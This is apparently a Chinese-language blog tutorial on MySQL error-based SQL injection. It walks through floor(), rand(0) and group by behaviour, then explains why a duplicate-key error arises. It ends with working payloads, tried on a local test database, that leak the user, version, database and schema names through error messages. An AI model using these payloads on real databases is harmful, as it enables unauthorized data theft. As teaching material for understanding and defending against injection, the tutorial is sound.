環境:mysql 5.1.73
[root@localhost ~]# mysql --version
mysql Ver 14.14 Distrib 5.1.73, for redhat-linux-gnu (x86_64) using readline 5.1
[root@localhost ~]#
1.首先普及幾個mysql裡面的函數
- floor()
- 在mysql裡面floor()函數是取整(注意:不是四舍五入),下面實際操作驗證一下
mysql> select floor(0.3);
+------------+
| floor(0.3) |
+------------+
| 0 |
+------------+
1 row in set (0.00 sec)
mysql> select floor(0.5);
+------------+
| floor(0.5) |
+------------+
| 0 |
+------------+
1 row in set (0.00 sec)
mysql> select floor(0.8);
+------------+
| floor(0.8) |
+------------+
| 0 |
+------------+
1 row in set (0.00 sec)
[圖檔上傳失敗...(image-2b1322-1528340788318)]
mysql> select floor(1.8);
+------------+
| floor(1.8) |
+------------+
| 1 |
+------------+
1 row in set (0.00 sec)
mysql> select floor(1.5);
+------------+
| floor(1.5) |
+------------+
| 1 |
+------------+
1 row in set (0.00 sec)
mysql> select floor(1.3);
+------------+
| floor(1.3) |
+------------+
| 1 |
+------------+
1 row in set (0.00 sec)
mysql>
[圖檔上傳失敗...(image-da5c47-1528340788318)]
事實證明上面說的沒毛病
- group by
- group by 我的了解是分組查詢,根據一個列或者多個列,值相等的在一起
- 下面實際操作了解一下,首先在資料庫
裡面建立一張test
表test
mysql> CREATE TABLE IF NOT EXISTS `test`(
-> `id` INT AUTO_INCREMENT PRIMARY KEY,
-> `name` VARCHAR(100) NOT NULL,
-> `number` INT NOT NULL,
-> `content` VARCHAR(100)
-> )ENGINE=InnoDB DEFAULT CHARSET=utf8;
Query OK, 0 rows affected (0.07 sec)
mysql>
[圖檔上傳失敗...(image-c3be09-1528340788318)]
- 然後在test表中插入一些資料
mysql> insert into test
-> (name,number,content)
-> values
-> ('aa',2,'11'),
-> ('aa',3,'22'),
-> ('bb',4,'33'),
-> ('bb',5,'44'),
-> ('bb',5,'55'),
-> ('cc',6,'66'),
-> ('cc',6,'77'),
-> ('dd',2,'88'),
-> ('ee',2,'99');
Query OK, 9 rows affected (0.00 sec)
Records: 9 Duplicates: 0 Warnings: 0
mysql>
[圖檔上傳失敗...(image-a80ee5-1528340788318)]
mysql> select * from test;
[圖檔上傳失敗...(image-f62cfa-1528340788318)]
- 接下來進行我們的探索
mysql> select * from test group by name;
[圖檔上傳失敗...(image-9c13ef-1528340788318)]
通過比較,可以看出通過将字段
group by
相同的進行分組查詢,注意這個地方不要看其他内容,單純了解一下這個分組的意思
name
- 然後我們接着來看,上面不是說了分組的含義嗎?其實資料庫在執行
時候建立了一張虛拟的表,是知道group by
這個字段相同的有幾條結果的,如下圖測試說明:name
[圖檔上傳失敗...(image-234e0-1528340788318)]
- rand()
- 在mysql裡面rand()函數是随機産生一個範圍(0,1)的随機數**
[圖檔上傳失敗...(image-8ba20b-1528340788318)]
- 那麼有人也許有疑問,随機産生的值有規律嗎?為了驗證猜想,下面找一個資料量比較大的表
測試一下,這裡我隻取30條資料實驗information_schema.tables
mysql> select rand() from information_schema.tables limit 0,30;
[圖檔上傳失敗...(image-8c769b-1528340788318)]
首先可以檢視到每一條都是随機産生的浮點型值,而且這條sql語句經過多次執行發現,每一次執行結果也是随機的,由此可以得出此時rand()是真随機.
- 這樣看起來是不是有點累,開始的時候我首先普及了一個
取整函數,那麼接下來我們可以這樣做,會更清晰,更直覺.floor()
mysql> select floor(rand()) from information_schema.tables limit 0,30;
[圖檔上傳失敗...(image-f940f1-1528340788318)]
這樣看是不是就這清晰直覺明了,但是有人又有疑問了吧,為什麼都是0呢,不是随機的嗎,别忘了我們随機範圍(0,1),也就是随機出來的都是小于1的小數,然後
rand()
取整後可不都是0嗎,這樣看着友善了,但是卻看不到随機性了,那好我們想個辦法繼續往下看。
floor()
mysql> select floor(rand()*2) from information_schema.tables limit 0,30;
[圖檔上傳失敗...(image-99f8ee-1528340788318)]
這步看着應該不難了解吧,就是将随機範圍(0,1)擴大2倍變成(0,2),這樣随機值是不是有0點多的、1點多的,然後取整就可以清晰簡單的研究其規律。經過多次執行這條語句發現:是沒有規律的。這和之前沒取整說的真随機是一樣的。
- 既然
是沒有規律的,我們怎麼研究?報錯注入我們谷歌百度發現都是rand()
,那好,我們在試一試有随機因子是什麼情況rand(0)
mysql> select floor(rand(0)*2) from information_schema.tables limit 0,30;
[圖檔上傳失敗...(image-c400fb-1528340788319)]
經過多次執行這條語句,你會發現這是一個規律,每次随機結果和這個一模一樣
2.有了上面講的基礎知識,我們接下來就真正的研究下報錯注入
- 首先看一條報錯的sql語句
mysql> select count(*) from test.test group by floor(rand(0)*2);
[圖檔上傳失敗...(image-5e2612-1528340788319)]
可以看到報錯顯示位 '1'
,這個錯誤就是由于主鍵不能重複而暴出的錯誤
-
接下來一步一步分析一下這個過程
(1).首先查詢之前會預設建立一張空的虛拟表,如下圖所示:
[圖檔上傳失敗...(image-f5947e-1528340788319)]
(2).取第一條記錄,執行
floor(rand(0)*2)
,發現結果為0(第一次計算),查詢虛拟表,發現0的鍵值不存在,則
floor(rand(0)*2)
會被再計算一次,結果為1(第二次計算),插入虛表,這時第一條記錄查詢完畢,如下圖:
[圖檔上傳失敗...(image-1743ae-1528340788319)]
(3).查詢第二條記錄,再次計算
floor(rand(0)*2)
,發現結果為1(第三次計算),查詢虛表,發現1的鍵值存在,是以
floor(rand(0)*2)
不會被計算第二次,直接
count(*)
加1,第二條記錄查詢完畢,結果如下:
[圖檔上傳失敗...(image-b53fd2-1528340788319)]
(4).查詢第三條記錄,再次計算
floor(rand(0)*2)
,發現結果為0(第4次計算),查詢虛表,發現鍵值沒有0,則資料庫嘗試插入一條新的資料,在插入資料時
floor(rand(0)*2)
被再次計算,作為虛表的主鍵,其值為1(第5次計算),然而1這個主鍵已經存在于虛拟表中,而新計算的值也為1(主鍵鍵值必須唯一),是以插入的時候就直接報錯了。
(5).整個查詢過程
floor(rand(0)*2)
被計算了5次,這也是開始說讓記住前5個值(01101)的緣故了查詢原資料表3次,是以這就是為什麼資料表中需要3條資料,使用該語句才會報錯的原因。
3.利用mysql報錯手法
- 首先收集基本收據庫資訊
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",user());
ERROR 1062 (23000): Duplicate entry '1~root@localhost' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",version());
ERROR 1062 (23000): Duplicate entry '1~5.1.73-log' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",database());
ERROR 1062 (23000): Duplicate entry '1~test' for key 'group_key'
mysql>
[圖檔上傳失敗...(image-e91717-1528340788319)]
- 然後試試暴庫
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",(select schema_name from information_schema.schemata limit 0,1));
ERROR 1062 (23000): Duplicate entry '1~information_schema' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",(select schema_name from information_schema.schemata limit 1,1));
ERROR 1062 (23000): Duplicate entry '1~aaa' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",(select schema_name from information_schema.schemata limit 2,1));
ERROR 1062 (23000): Duplicate entry '1~bbb' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",(select schema_name from information_schema.schemata limit 3,1));
ERROR 1062 (23000): Duplicate entry '1~challenges' for key 'group_key'
mysql>
[圖檔上傳失敗...(image-805896-1528340808287)]
- ok沒毛病,就是這樣利用的往下就不再多說。